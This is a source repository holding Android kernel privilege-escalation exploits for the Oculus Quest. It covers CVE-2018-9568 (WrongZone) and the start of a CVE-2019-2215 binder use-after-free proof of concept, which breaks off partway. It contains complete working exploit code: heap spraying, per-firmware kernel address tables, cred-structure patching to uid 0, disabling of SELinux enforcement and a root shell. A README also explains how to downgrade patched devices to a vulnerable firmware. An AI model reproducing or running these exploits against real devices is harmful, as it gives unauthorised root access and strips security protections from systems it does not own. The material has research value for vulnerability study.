├── CVE-2018-9568_WrongZone ├── Makefile ├── README.md ├── device.h ├── exploit.c └── getroot.c └── CVE-2019-2215_BinderThreadUaf ├── pipeathon.c └── readme.md /CVE-2018-9568_WrongZone/Makefile: -------------------------------------------------------------------------------- 1 | CC="/path/to/android-ndk-r20/toolchains/llvm/prebuilt//bin/clang" 2 | CFLAGS="--target=aarch64-linux-android24 -fno-addrsig" 3 | 4 | build: 5 | rm -f exploit 6 | $(CC) $(CFLAGS) getroot.c exploit.c -o exploit 7 | 8 | execute: build 9 | adb shell rm -f /data/local/tmp/exploit 10 | adb push exploit /data/local/tmp 11 | adb shell /data/local/tmp/exploit 12 | -------------------------------------------------------------------------------- /CVE-2018-9568_WrongZone/README.md: -------------------------------------------------------------------------------- 1 | # Kernel Exploit 2 | 3 | This is a kernel exploit for the vulnerability known as WrongZone (or CVE-2018-9568). 4 | 5 | ## Oculus Quest 6 | 7 | The Oculus Quest is vulnerable up to version `256550.6810.0`. [This commit](https://github.com/facebookincubator/oculus-linux-kernel/commit/589280fc40ddbcc2287024c8b672568a0fdd68e7#diff-56c7c22bc6dcdc2c4ff303ab61738ff2R1526) fixes the vulnerability and also introduces 2 mitigations: Kernel ASLR (KASLR) and Privileged Access Never (PAN). 8 | 9 | We have manually confirmed that `333700.2680.0` and `333700.3370.0` also contain the fix and mitigations. Nevertheless, it is possible to downgrade to the vulnerable version by sideloading [this update](https://github.com/QuestEscape/updates/releases/download/3337000026800000/3337000026800000_3337000026800000.zip). 10 | 11 | ## Build 12 | 13 | To compile this project, you will need to grab the [Android NDK](https://developer.android.com/ndk/downloads) and modify the path in the Makefile. 14 | 15 | ## Execute 16 | 17 | The exploit succeeds once in a blue moon on a real device, for a reason we have yet to understand. It gets better on the emulator, about once every 10 tries. To make it even more painful, failed attempts will crash the device, but at least it should reboot automatically after about 5 seconds. 18 | 19 | ## References 20 | 21 | - https://github.com/ThomasKing2014/slides/blob/master/Building%20universal%20Android%20rooting%20with%20a%20type%20confusion%20vulnerability.pdf 22 | - http://c0reteam.org/2019/07/12/CVE-2018-9568 23 | - https://www.jishuwen.com/d/2TSG 24 | -------------------------------------------------------------------------------- /CVE-2018-9568_WrongZone/device.h: -------------------------------------------------------------------------------- 1 | // Emulator 2 | // Virtual kernel memory layout: 3 | // modules : 0xffffff8000000000 - 0xffffff8008000000 ( 128 MB) 4 | // vmalloc : 0xffffff8008000000 - 0xffffffbdbfff0000 ( 246 GB) 5 | // .init : 0xffffff80087b5000 - 0xffffff8008813000 ( 376 KB) 6 | // .text : 0xffffff8008080000 - 0xffffff8008634000 ( 5840 KB) 7 | // .rodata : 0xffffff8008634000 - 0xffffff80087b5000 ( 1540 KB) 8 | // .data : 0xffffff8008813000 - 0xffffff8008869c00 ( 347 KB) 9 | // vmemmap : 0xffffffbdc0000000 - 0xffffffbfc0000000 ( 8 GB maximum) 10 | // 0xffffffbdc0000000 - 0xffffffbdc1000000 ( 16 MB actual) 11 | // fixed : 0xffffffbffe7fb000 - 0xffffffbffec00000 ( 4116 KB) 12 | // PCI I/O : 0xffffffbffee00000 - 0xffffffbfffe00000 ( 16 MB) 13 | // memory : 0xffffffc000000000 - 0xffffffc040000000 ( 1024 MB) 14 | 15 | /*#define DUMP_BEG 0xffffff8008634000 16 | #define DUMP_END 0xffffff80087b5000 17 | 18 | #define TESTER 0xFFFFFF80086A0900 19 | 20 | #define OFFSETOF_SKC_PROT 0x28 21 | #define OFFSETOF_IOCTL 0x20 22 | #define OFFSETOF_GETSOCKOPT 0x70 23 | #define KERNEL_GETSOCKOPT 0xFFFFFF8008444F6C 24 | #define INET6_IOCTL_END 0xFFFFFF8008540E34 25 | 26 | #define INIT_TASK 0xffffff8008828440 27 | #define SELINUX_ENABLED 0xffffff8008840998 28 | #define SELINUX_ENFORCING 0xffffff80088a9234 29 | 30 | #define HAS_PTRACE 1 31 | #undef CONFIG_KEYS 32 | #define CONFIG_SECURITY 1*/ 33 | 34 | // Oculus Quest - 213561.4150.0 35 | // [ 0.000000] Virtual kernel memory layout: 36 | // [ 0.000000] modules : 0xffffff8000000000 - 0xffffff8008000000 ( 128 MB) 37 | // [ 0.000000] vmalloc : 0xffffff8008000000 - 0xffffffbdbfff0000 ( 246 GB) 38 | // [ 0.000000] .init : 0xffffff8009a00000 - 0xffffff8009c00000 ( 2048 KB) 39 | // [ 0.000000] .text : 0xffffff8008080000 - 0xffffff8009200000 ( 17920 KB) 40 | // [ 0.000000] .rodata : 0xffffff8009200000 - 0xffffff8009a00000 ( 8192 KB) 41 | // [ 0.000000] .data : 0xffffff8009c00000 - 0xffffff8009e15400 ( 2133 KB) 42 | // [ 0.000000] vmemmap : 0xffffffbdc0000000 - 0xffffffbfc0000000 ( 8 GB maximum) 43 | // [ 0.000000] 0xffffffbdc0000000 - 0xffffffbdc3f93000 ( 63 MB actual) 44 | // [ 0.000000] fixed : 0xffffffbffe7fd000 - 0xffffffbffec00000 ( 4108 KB) 45 | // [ 0.000000] PCI I/O : 0xffffffbffee00000 - 0xffffffbfffe00000 ( 16 MB) 46 | // [ 0.000000] memory : 0xffffffc000000000 - 0xffffffc0fe4c0000 ( 4068 MB) 47 | 48 | /*#define DUMP_BEG 0xffffff8009200000 49 | #define DUMP_END 0xffffff8009a00000 50 | 51 | #define TESTER 0xffffff8009200080 52 | 53 | #define OFFSETOF_SKC_PROT 0x28 54 | #define OFFSETOF_IOCTL 0x20 55 | #define OFFSETOF_GETSOCKOPT 0x70 56 | #define KERNEL_GETSOCKOPT 0xffffff8008e478b8 57 | #define INET6_IOCTL_END 0xffffff8008f5633c 58 | 59 | #define INIT_TASK 0xffffff8009c15a40 60 | #define SELINUX_ENABLED 0xffffff8009c54118 61 | #define SELINUX_ENFORCING 0xffffff8009e73c14 62 | 63 | #undef HAS_PTRACE 64 | #undef CONFIG_KEYS 65 | #define CONFIG_SECURITY 1*/ 66 | 67 | // Oculus Quest - 256550.6810.0 68 | 69 | #define TESTER 0xffffff8009200080 70 | 71 | #define OFFSETOF_SKC_PROT 0x28 72 | #define OFFSETOF_IOCTL 0x20 73 | #define OFFSETOF_GETSOCKOPT 0x70 74 | #define KERNEL_GETSOCKOPT 0xffffff8008e4bd94 75 | #define INET6_IOCTL_END 0xffffff8008f5a818 76 | 77 | #define INIT_TASK 0xffffff8009c15a40 78 | #define SELINUX_ENABLED 0xffffff8009c54318 79 | #define SELINUX_ENFORCING 0xffffff8009e73c14 80 | 81 | #undef HAS_PTRACE 82 | #undef CONFIG_KEYS 83 | #define CONFIG_SECURITY 1 84 | -------------------------------------------------------------------------------- /CVE-2018-9568_WrongZone/exploit.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include "device.h" 15 | 16 | #define T 8 17 | #define PAGE_SIZE 4096 18 | #define STACK_SIZE (T * PAGE_SIZE) 19 | #define THREADS 7 20 | #define SPRAY 66 21 | #define DUPS 300 22 | 23 | int read_at_address_pipe(void *address, void *buf, size_t len); 24 | int write_at_address_pipe(void *address, void *buf, size_t len); 25 | int getroot(); 26 | 27 | char buf[STACK_SIZE]; 28 | void *stacking(void *evil_mem) 29 | { 30 | while (1) 31 | { 32 | setxattr("/data/local/tmp", "user.test", buf, STACK_SIZE, XATTR_REPLACE); 33 | } 34 | } 35 | 36 | int main(int argc, char *argv[]) 37 | { 38 | setbuf(stdout, NULL); 39 | 40 | printf("[*] Preparing the evil memory page\n"); 41 | void *evil_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); 42 | if (evil_mem == (void *)0xffffffffffffffff) 43 | { 44 | printf("mmap failed %s\n", strerror(errno)); 45 | return 0; 46 | } 47 | 48 | for (int i = 0; i < PAGE_SIZE; i++) 49 | *(char *)(evil_mem + i) = '\0'; 50 | *(uint64_t *)evil_mem = 0xdeadbeefdeadbeef; 51 | 52 | for (int i = 0; i < STACK_SIZE / 8; ++i) 53 | *(uint64_t *)(buf + 8 * i) = (uint64_t)evil_mem; 54 | 55 | printf("[*] Starting page allocator spraying threads\n"); 56 | pthread_t threads[THREADS]; 57 | for (int i = 0; i < THREADS; i++) 58 | { 59 | int ret = pthread_create(&threads[i], NULL, stacking, evil_mem); 60 | if (ret != 0) 61 | { 62 | printf("pthread_create failed: %d\n", ret); 63 | return 0; 64 | } 65 | } 66 | 67 | printf("[*] Setting CPU affinity to pin on core #0\n"); 68 | cpu_set_t mask; 69 | CPU_ZERO(&mask); 70 | CPU_SET(0, &mask); 71 | if (sched_setaffinity(0, sizeof(mask), &mask) != 0) 72 | { 73 | printf("sched_setaffinity failed\n"); 74 | return 0; 75 | } 76 | 77 | printf("[*] Creating the WrongZone socket\n"); 78 | int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); 79 | int new_fd, newest_fd, client_fd; 80 | struct sockaddr_in6 bind_addr; 81 | struct sockaddr_in bind_addr4, client_addr1, client_addr2; 82 | struct sockaddr unsp; 83 | int val; 84 | 85 | memset(&bind_addr, 0, sizeof(bind_addr)); 86 | bind_addr.sin6_family = AF_INET6; 87 | bind_addr.sin6_port = ntohs(42424); 88 | 89 | memset(&client_addr1, 0, sizeof(client_addr1)); 90 | client_addr1.sin_family = AF_INET; 91 | client_addr1.sin_port = ntohs(42424); 92 | client_addr1.sin_addr.s_addr = inet_addr("127.0.0.1"); 93 | 94 | memset(&client_addr2, 0, sizeof(client_addr2)); 95 | client_addr2.sin_family = AF_INET; 96 | client_addr2.sin_port = ntohs(42421); 97 | client_addr2.sin_addr.s_addr = inet_addr("127.0.0.1"); 98 | 99 | memset(&unsp, 0, sizeof(unsp)); 100 | unsp.sa_family = AF_UNSPEC; 101 | 102 | bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)); 103 | 104 | listen(fd, 5); 105 | 106 | client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 107 | connect(client_fd, (struct sockaddr *)&client_addr1, sizeof(client_addr1)); 108 | new_fd = accept(fd, NULL, NULL); 109 | //close(fd); 110 | 111 | val = AF_INET; 112 | setsockopt(new_fd, SOL_IPV6, IPV6_ADDRFORM, &val, sizeof(val)); 113 | 114 | connect(new_fd, &unsp, sizeof(unsp)); 115 | 116 | memset(&bind_addr4, 0, sizeof(bind_addr4)); 117 | bind_addr4.sin_family = AF_INET; 118 | bind_addr4.sin_port = ntohs(42421); 119 | bind(new_fd, (struct sockaddr *)&bind_addr4, sizeof(bind_addr4)); 120 | 121 | listen(new_fd, 5); 122 | 123 | client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 124 | 125 | int run_out_sk[SPRAY]; 126 | for (int i = 0; i < SPRAY; ++i) 127 | run_out_sk[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 128 | 129 | int defrag_sk[T]; 130 | for (int i = 0; i < T; i++) 131 | defrag_sk[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 132 | 133 | connect(client_fd, (struct sockaddr *)&client_addr2, sizeof(client_addr2)); 134 | newest_fd = accept(new_fd, NULL, NULL); 135 | 136 | int wrongzone_sk = newest_fd; 137 | int follow_sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 138 | 139 | int fill_sk[T]; 140 | for (int i = 0; i < T; i++) 141 | fill_sk[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 142 | 143 | printf("[*] Freeing the WrongZone socket\n"); 144 | close(wrongzone_sk); 145 | 146 | for (int i = 0; i < T; i++) 147 | close(defrag_sk[i]); 148 | 149 | for (int i = 0; i < T; i++) 150 | close(fill_sk[i]); 151 | 152 | printf("[*] Creating the duplicate sockets\n"); 153 | int evil_sk = -1; 154 | for (int i = 0; i < DUPS; ++i) 155 | { 156 | int sk = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); 157 | if (*(uint64_t *)evil_mem != 0xdeadbeefdeadbeef) 158 | { 159 | evil_sk = sk; 160 | break; 161 | } 162 | } 163 | 164 | if (evil_sk < 0) 165 | { 166 | printf("[!] Failed to control the allocation\n"); 167 | return 0; 168 | } 169 | printf("[*] Successfully controlled the allocation\n"); 170 | 171 | printf("[*] Stopping page allocator spraying threads\n"); 172 | for (int i = 0; i < THREADS; i++) 173 | pthread_kill(threads[i], 0); 174 | 175 | /*int offset = 0; 176 | char page[PAGE_SIZE]; 177 | memcpy(page, evil_mem, PAGE_SIZE); 178 | 179 | if (setsockopt(evil_sk, SOL_TCP, TCP_CONGESTION, "reno", strlen("reno") + 1) < 0) { 180 | printf("failed to setsockopt TCP_CONGESTION\n"); 181 | return 0; 182 | } 183 | 184 | for (int i = 0; i < PAGE_SIZE; i += 8) { 185 | uint64_t old = *(uint64_t*)(page + i); 186 | uint64_t new = *(uint64_t*)(evil_mem + i); 187 | if (old != new 188 | && ((old & 0xffffff0000000000) == 0xffffff0000000000) 189 | && ((new & 0xffffff0000000000) == 0xffffff0000000000)) { 190 | offset = i; 191 | break; 192 | } 193 | } 194 | 195 | if (offset == 0) { 196 | printf("offset not found\n"); 197 | return 0; 198 | } 199 | printf("offset = 0x%x\n", offset); 200 | 201 | *(uint64_t *)(evil_mem + offset) = (uint64_t)evil_mem + 0xf00; 202 | for (int i = 0; i < 0x100; i++) { 203 | *(uint8_t *)(evil_mem + 0xf00 + i) = (uint8_t)i; 204 | } 205 | 206 | char data[16]; 207 | memset(data, 0, 16); 208 | socklen_t data_len = 16; 209 | getsockopt(evil_sk, SOL_TCP, TCP_CONGESTION, data, &data_len); 210 | 211 | int offset2 = (uint8_t)data[0]; 212 | if (offset2 == 0) { 213 | printf("offset2 not found\n"); 214 | return 0; 215 | } 216 | printf("offset2 = 0x%x\n", offset2); 217 | 218 | for (uint64_t addr = DUMP_BEG; addr < DUMP_END; addr += 16) { 219 | memset(data, 0, 16); 220 | data_len = 16; 221 | *(uint64_t *)(evil_mem + offset) = addr - offset2; 222 | getsockopt(evil_sk, SOL_TCP, TCP_CONGESTION, data, &data_len); 223 | 224 | printf("%lx: ", addr); 225 | for (int i = 0; i < 16; ++i) 226 | printf("%02x", (uint8_t)data[i]); 227 | printf("\n"); 228 | }*/ 229 | 230 | printf("[*] Setting addr_limit to -1 using kernel_sock_ioctl\n"); 231 | *(uint64_t *)(evil_mem + OFFSETOF_SKC_PROT) = (uint64_t)evil_mem + 0x800; 232 | *(uint64_t *)(evil_mem + 0x800 + OFFSETOF_IOCTL) = (uint64_t)KERNEL_GETSOCKOPT + 4; 233 | *(uint64_t *)(evil_mem + 0x800 + OFFSETOF_GETSOCKOPT) = (uint64_t)INET6_IOCTL_END - 4; 234 | 235 | int answ; 236 | ioctl(evil_sk, 0x541B, NULL); 237 | 238 | uint64_t tester; 239 | read_at_address_pipe((void *)TESTER, &tester, sizeof(uint64_t)); 240 | printf("[*] Testing kernel R/W: 0x%lx\n", tester); 241 | 242 | pid_t pid = fork(); 243 | if (pid == 0) 244 | { 245 | printf("[*] Child thread entering an infinite loop\n"); 246 | int i = 0; 247 | while (1) 248 | { 249 | i += 1; 250 | } 251 | printf("i = %d\n", i); 252 | } 253 | else 254 | { 255 | getroot(); 256 | } 257 | return 0; 258 | } 259 | -------------------------------------------------------------------------------- /CVE-2018-9568_WrongZone/getroot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "device.h" 7 | 8 | struct list_head 9 | { 10 | struct list_head *next, *prev; 11 | }; 12 | 13 | struct plist_node 14 | { 15 | int prio; 16 | struct list_head prio_list; 17 | struct list_head node_list; 18 | }; 19 | 20 | #define _KERNEL_CAPABILITY_U32S 2 21 | typedef struct kernel_cap_struct 22 | { 23 | unsigned int cap[_KERNEL_CAPABILITY_U32S]; 24 | } kernel_cap_t; 25 | 26 | #define u32 unsigned int 27 | struct task_security_struct 28 | { 29 | u32 osid; /* SID prior to last execve */ 30 | u32 sid; /* current SID */ 31 | u32 exec_sid; /* exec SID */ 32 | u32 create_sid; /* fscreate SID */ 33 | u32 keycreate_sid; /* keycreate SID */ 34 | u32 sockcreate_sid; /* fscreate SID */ 35 | }; 36 | 37 | struct rcu_head 38 | { 39 | struct list_head list; 40 | void (*func)(void *obj); 41 | void *arg; 42 | }; 43 | 44 | struct cred 45 | { 46 | unsigned int usage; 47 | unsigned int uid; /* real UID of the task */ 48 | unsigned int gid; /* real GID of the task */ 49 | unsigned int suid; /* saved UID of the task */ 50 | unsigned int sgid; /* saved GID of the task */ 51 | unsigned int euid; /* effective UID of the task */ 52 | unsigned int egid; /* effective GID of the task */ 53 | unsigned int fsuid; /* UID for VFS ops */ 54 | unsigned int fsgid; /* GID for VFS ops */ 55 | 56 | unsigned int securebits; /* SUID-less security management */ 57 | kernel_cap_t cap_inheritable; /* caps our children can inherit */ 58 | kernel_cap_t cap_permitted; /* caps we're permitted */ 59 | kernel_cap_t cap_effective; /* caps we can actually use */ 60 | kernel_cap_t cap_bset; /* capability bounding set */ 61 | kernel_cap_t cap_ambient; /* Ambient capability set */ 62 | #ifdef CONFIG_KEYS 63 | unsigned char jit_keyring; /* default keyring to attach requested 64 | * keys to */ 65 | void *session_keyring; /* keyring inherited over fork */ 66 | void *process_keyring; /* keyring private to this process */ 67 | void *thread_keyring; /* keyring private to this thread */ 68 | void *request_key_auth; /* assumed request_key authority */ 69 | #endif 70 | #ifdef CONFIG_SECURITY 71 | void *security; /* subjective LSM security */ 72 | #endif 73 | void *user; /* real user ID subscription */ 74 | void *user_ns; /* user_ns the caps and keyrings are relative to. */ 75 | void *group_info; /* supplementary groups for euid/fsgid */ 76 | struct rcu_head rcu; /* RCU deletion hook */ 77 | }; 78 | 79 | #define TASK_COMM_LEN 16 80 | struct task_list_for_comm 81 | { 82 | 83 | struct list_head cpu_timers[3]; 84 | 85 | /* process credentials */ 86 | #ifdef HAS_PTRACE 87 | const struct cred *ptracer_cred; 88 | #endif 89 | const struct cred *real_cred; /* objective and real subjective task 90 | * credentials (COW) */ 91 | const struct cred *cred; /* effective (overridable) subjective task 92 | * credentials (COW) */ 93 | char comm[TASK_COMM_LEN]; /* executable name excluding path 94 | - access with [gs]et_task_comm (which lock 95 | it with task_lock()) 96 | - initialized normally by setup_new_exec */ 97 | }; 98 | 99 | #define KERNEL_START 0xffffffc000000000 100 | int is_cpu_timer_valid(struct list_head *cpu_timer) 101 | { 102 | if (cpu_timer->next != cpu_timer->prev) 103 | { 104 | return 0; 105 | } 106 | 107 | if ((unsigned long int)cpu_timer->next < KERNEL_START) 108 | { 109 | return 0; 110 | } 111 | 112 | return 1; 113 | } 114 | 115 | int read_at_address_pipe(void *address, void *buf, size_t len) 116 | { 117 | int ret = 1; 118 | int pipes[2]; 119 | 120 | if (pipe(pipes)) 121 | return 1; 122 | 123 | if (write(pipes[1], address, len) != len) 124 | goto end; 125 | if (read(pipes[0], buf, len) != len) 126 | goto end; 127 | 128 | ret = 0; 129 | end: 130 | close(pipes[1]); 131 | close(pipes[0]); 132 | return ret; 133 | } 134 | 135 | int write_at_address_pipe(void *address, void *buf, size_t len) 136 | { 137 | int ret = 1; 138 | int pipes[2]; 139 | 140 | if (pipe(pipes)) 141 | return 1; 142 | 143 | if (write(pipes[1], buf, len) != len) 144 | goto end; 145 | if (read(pipes[0], address, len) != len) 146 | goto end; 147 | 148 | ret = 0; 149 | end: 150 | close(pipes[1]); 151 | close(pipes[0]); 152 | return ret; 153 | } 154 | 155 | int getroot() 156 | { 157 | size_t init_task = INIT_TASK; 158 | 159 | unsigned int pushable_tasks_value; 160 | 161 | struct list_head init_head; 162 | size_t *init_head_address; 163 | unsigned i = 0; 164 | 165 | for (i = 0; i < 0x800; i += sizeof(unsigned int)) 166 | { 167 | read_at_address_pipe((void *)(init_task + i), &pushable_tasks_value, sizeof(unsigned int)); 168 | 169 | if (pushable_tasks_value == 0x8c) 170 | { 171 | init_head_address = (void *)(init_task + i - 2 * sizeof(size_t)); 172 | read_at_address_pipe(init_head_address, &init_head, sizeof(init_head)); 173 | break; 174 | } 175 | } 176 | printf("[*] Found the tasks list at 0x%lx\n", (uint64_t)init_head_address); 177 | 178 | struct task_list_for_comm task_for_comm; 179 | struct task_list_for_comm *task; 180 | task = &task_for_comm; 181 | 182 | struct list_head *list_head_p; 183 | int get_exp_comm = 0; 184 | unsigned long offset = 0; 185 | 186 | struct cred *self_cred; 187 | 188 | list_head_p = &init_head; 189 | offset = (unsigned long)init_head_address; 190 | 191 | int second_offset = -1; 192 | 193 | while (list_head_p->next != (struct list_head *)init_head_address) 194 | { 195 | if (second_offset == -1) 196 | { 197 | for (i = 0; i < 0x400; i += sizeof(unsigned int)) 198 | { 199 | read_at_address_pipe((void *)offset + i, task, sizeof(*task)); 200 | if (is_cpu_timer_valid(&task->cpu_timers[0]) && is_cpu_timer_valid(&task->cpu_timers[1]) && is_cpu_timer_valid(&task->cpu_timers[2]) && task->real_cred == task->cred) 201 | { 202 | second_offset = i; 203 | break; 204 | } 205 | } 206 | } 207 | 208 | read_at_address_pipe((void *)offset + second_offset, task, sizeof(*task)); 209 | if (!strcmp(task->comm, "exploit")) 210 | { 211 | uint64_t tmpOffset = (uint64_t)offset & 0xfff; 212 | printf("[*] Found the exploit's task at 0x%lx\n", (uint64_t)offset - tmpOffset); 213 | self_cred = (struct cred *)task->cred; 214 | get_exp_comm = 1; 215 | break; 216 | } 217 | if (get_exp_comm) 218 | break; 219 | offset = (unsigned long)list_head_p->next; 220 | read_at_address_pipe(list_head_p->next, list_head_p, sizeof(*list_head_p)); 221 | } 222 | 223 | unsigned long val = 0; 224 | printf("[*] Patching the cred structure at 0x%lx\n", (uint64_t)self_cred); 225 | write_at_address_pipe(&self_cred->uid, &val, sizeof(self_cred->uid)); 226 | write_at_address_pipe(&self_cred->gid, &val, sizeof(self_cred->gid)); 227 | write_at_address_pipe(&self_cred->suid, &val, sizeof(self_cred->suid)); 228 | write_at_address_pipe(&self_cred->sgid, &val, sizeof(self_cred->sgid)); 229 | write_at_address_pipe(&self_cred->euid, &val, sizeof(self_cred->euid)); 230 | write_at_address_pipe(&self_cred->egid, &val, sizeof(self_cred->egid)); 231 | write_at_address_pipe(&self_cred->fsuid, &val, sizeof(self_cred->fsuid)); 232 | write_at_address_pipe(&self_cred->fsgid, &val, sizeof(self_cred->fsgid)); 233 | 234 | val = -1; 235 | write_at_address_pipe(&self_cred->cap_inheritable.cap[0], &val, sizeof(self_cred->cap_inheritable.cap[0])); 236 | write_at_address_pipe(&self_cred->cap_inheritable.cap[1], &val, sizeof(self_cred->cap_inheritable.cap[1])); 237 | write_at_address_pipe(&self_cred->cap_permitted.cap[0], &val, sizeof(self_cred->cap_permitted.cap[0])); 238 | write_at_address_pipe(&self_cred->cap_permitted.cap[1], &val, sizeof(self_cred->cap_permitted.cap[1])); 239 | write_at_address_pipe(&self_cred->cap_effective.cap[0], &val, sizeof(self_cred->cap_effective.cap[0])); 240 | write_at_address_pipe(&self_cred->cap_effective.cap[1], &val, sizeof(self_cred->cap_effective.cap[1])); 241 | write_at_address_pipe(&self_cred->cap_bset.cap[0], &val, sizeof(self_cred->cap_bset.cap[0])); 242 | write_at_address_pipe(&self_cred->cap_bset.cap[1], &val, sizeof(self_cred->cap_bset.cap[1])); 243 | write_at_address_pipe(&self_cred->cap_ambient.cap[0], &val, sizeof(self_cred->cap_ambient.cap[0])); 244 | write_at_address_pipe(&self_cred->cap_ambient.cap[1], &val, sizeof(self_cred->cap_ambient.cap[1])); 245 | 246 | uint64_t temp2; 247 | read_at_address_pipe((void *)&self_cred->security, &temp2, sizeof(uint64_t)); 248 | struct task_security_struct *kernel_self_tss; 249 | kernel_self_tss = (struct task_security_struct *)temp2; 250 | 251 | printf("[*] Patching the security structure at 0x%lx\n", temp2); 252 | uint32_t val2; 253 | 254 | val2 = 1; 255 | write_at_address_pipe((uint32_t *)&kernel_self_tss->osid, (uint32_t *)&val2, sizeof(uint32_t)); 256 | write_at_address_pipe((uint32_t *)&kernel_self_tss->sid, (uint32_t *)&val2, sizeof(uint32_t)); 257 | 258 | val2 = 0; 259 | write_at_address_pipe((uint32_t *)&kernel_self_tss->exec_sid, (uint32_t *)&val2, sizeof(uint32_t)); 260 | write_at_address_pipe((uint32_t *)&kernel_self_tss->create_sid, (uint32_t *)&val2, sizeof(uint32_t)); 261 | write_at_address_pipe((uint32_t *)&kernel_self_tss->keycreate_sid, (uint32_t *)&val2, sizeof(uint32_t)); 262 | write_at_address_pipe((uint32_t *)&kernel_self_tss->sockcreate_sid, (uint32_t *)&val2, sizeof(uint32_t)); 263 | 264 | printf("[*] Patching selinux_enabled and selinux_enforcing\n"); 265 | uint32_t *selinux_enabled = (uint32_t *)SELINUX_ENABLED; 266 | uint32_t *selinux_enforcing = (uint32_t *)SELINUX_ENFORCING; 267 | val = 0; 268 | 269 | write_at_address_pipe((uint32_t *)selinux_enabled, &val, sizeof(uint32_t)); 270 | write_at_address_pipe((uint32_t *)selinux_enforcing, &val, sizeof(uint32_t)); 271 | 272 | printf("[*] Got root\n"); 273 | return system("/system/bin/sh"); 274 | } 275 | -------------------------------------------------------------------------------- /CVE-2019-2215_BinderThreadUaf/pipeathon.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Oculus Quest system root exploit 3 | * adc 4 | * 5 | * 6 | * POC to gain arbitrary kernel R/W access using CVE-2019-2215 7 | * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 8 | * 9 | * Jann Horn & Maddie Stone of Google Project Zero 10 | * 11 | * 3 October 2019 12 | */ 13 | #define _GNU_SOURCE 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | 36 | int ocu = 0; 37 | 38 | struct _offset { 39 | char *version; 40 | uint64_t swapper; 41 | uint64_t selinux_enable; 42 | uint64_t selinux_enforcing; 43 | uint64_t setcap; 44 | }; 45 | 46 | struct _offset _offsets[] = { 47 | {"#1 SMP PREEMPT Mon Sep 30 14:10:10 PDT 2019", 48 | 0x2536000 - 0x1f90000, 49 | 0x1fe4398 - 0x1f90000, 50 | 0x21f8bd4 - 0x1f90000, 51 | 0x291a5c - 0x10000, 52 | }, 53 | {"#1 SMP PREEMPT Thu Oct 17 23:11:36 PDT 2019", 54 | 0x2536000 - 0x1f90000, 55 | 0x1fe4398 - 0x1f90000, 56 | 0x21f8bd4 - 0x1f90000, 57 | 0x281aa4}, 58 | {"#1 SMP PREEMPT Tue Oct 22 18:13:26 PDT 2019", 59 | 0x2536000 - 0x1f90000, 60 | 0x1fe4398 - 0x1f90000, 61 | 0x21f8bd4 - 0x1f90000, 62 | 0x281aa4} 63 | }; 64 | 65 | struct _offset *gOffsets; 66 | 67 | #define BINDER_THREAD_EXIT 0x40046208ul 68 | 69 | //#define BINDER_THREAD_SZ 0x190 70 | #define FULL_BINDER_THREAD_SZ 0x130 71 | 72 | #define BINDER_THREAD_SZ (FULL_BINDER_THREAD_SZ) 73 | #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 74 | 75 | //#define WAITQUEUE_OFFSET 0xa0 76 | #define WAITQUEUE_OFFSET 0x48 77 | #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 78 | 79 | 80 | int epfd; 81 | 82 | void *dummy_page_4g_aligned; 83 | unsigned long current_ptr; 84 | int binder_fd; 85 | 86 | struct binder_write_read { 87 | size_t write_size; /* bytes to write */ 88 | size_t write_consumed; /* bytes consumed by driver */ 89 | uintptr_t write_buffer; 90 | size_t read_size; /* bytes to read */ 91 | size_t read_consumed; /* bytes consumed by driver */ 92 | uintptr_t read_buffer; 93 | }; 94 | 95 | struct binder_transaction_data { 96 | /* The first two are only used for bcTRANSACTION and brTRANSACTION, 97 | * identifying the target and contents of the transaction. 98 | */ 99 | union { 100 | /* target descriptor of command transaction */ 101 | __u32 handle; 102 | /* target descriptor of return transaction */ 103 | uintptr_t ptr; 104 | } target; 105 | uintptr_t cookie; /* target object cookie */ 106 | __u32 code; /* transaction command */ 107 | 108 | /* General information about the transaction. */ 109 | __u32 flags; 110 | pid_t sender_pid; 111 | uid_t sender_euid; 112 | size_t data_size; /* number of bytes of data */ 113 | size_t offsets_size; /* number of bytes of offsets */ 114 | 115 | /* If this transaction is inline, the data immediately 116 | * follows here; otherwise, it ends with a pointer to 117 | * the data buffer. 118 | */ 119 | union { 120 | struct { 121 | /* transaction data */ 122 | uintptr_t buffer; 123 | /* offsets from buffer to flat_binder_object structs */ 124 | uintptr_t offsets; 125 | } ptr; 126 | __u8 buf[8]; 127 | } data; 128 | }; 129 | 130 | struct write_message { 131 | uint32_t cmd; 132 | struct binder_transaction_data tr; 133 | }; 134 | 135 | #define BR_OK _IO('r', 1) 136 | #define BR_TRANSACTION_COMPLETE _IO('r', 6) 137 | #define BR_FAILED_REPLY _IO('r', 17) 138 | 139 | #define BINDER_WRITE_READ _IOWR('b', 1, struct binder_write_read) 140 | #define BC_REPLY _IOW('c', 1, struct binder_transaction_data) 141 | #define BC_TRANSACTION _IOW('c', 0, struct binder_transaction_data) 142 | #define BINDER_SET_CONTEXT_MGR _IOW('b', 7, __s32) 143 | 144 | void thread_mmap(void) 145 | { 146 | void *addr; 147 | addr = mmap(NULL, 4096*10, PROT_READ, MAP_PRIVATE, binder_fd, 0); 148 | if ((uint64_t)-1 == (uint64_t)addr) { 149 | printf("failed to mmap\n"); 150 | perror("failed"); 151 | } 152 | 153 | } 154 | 155 | uint64_t text_base; 156 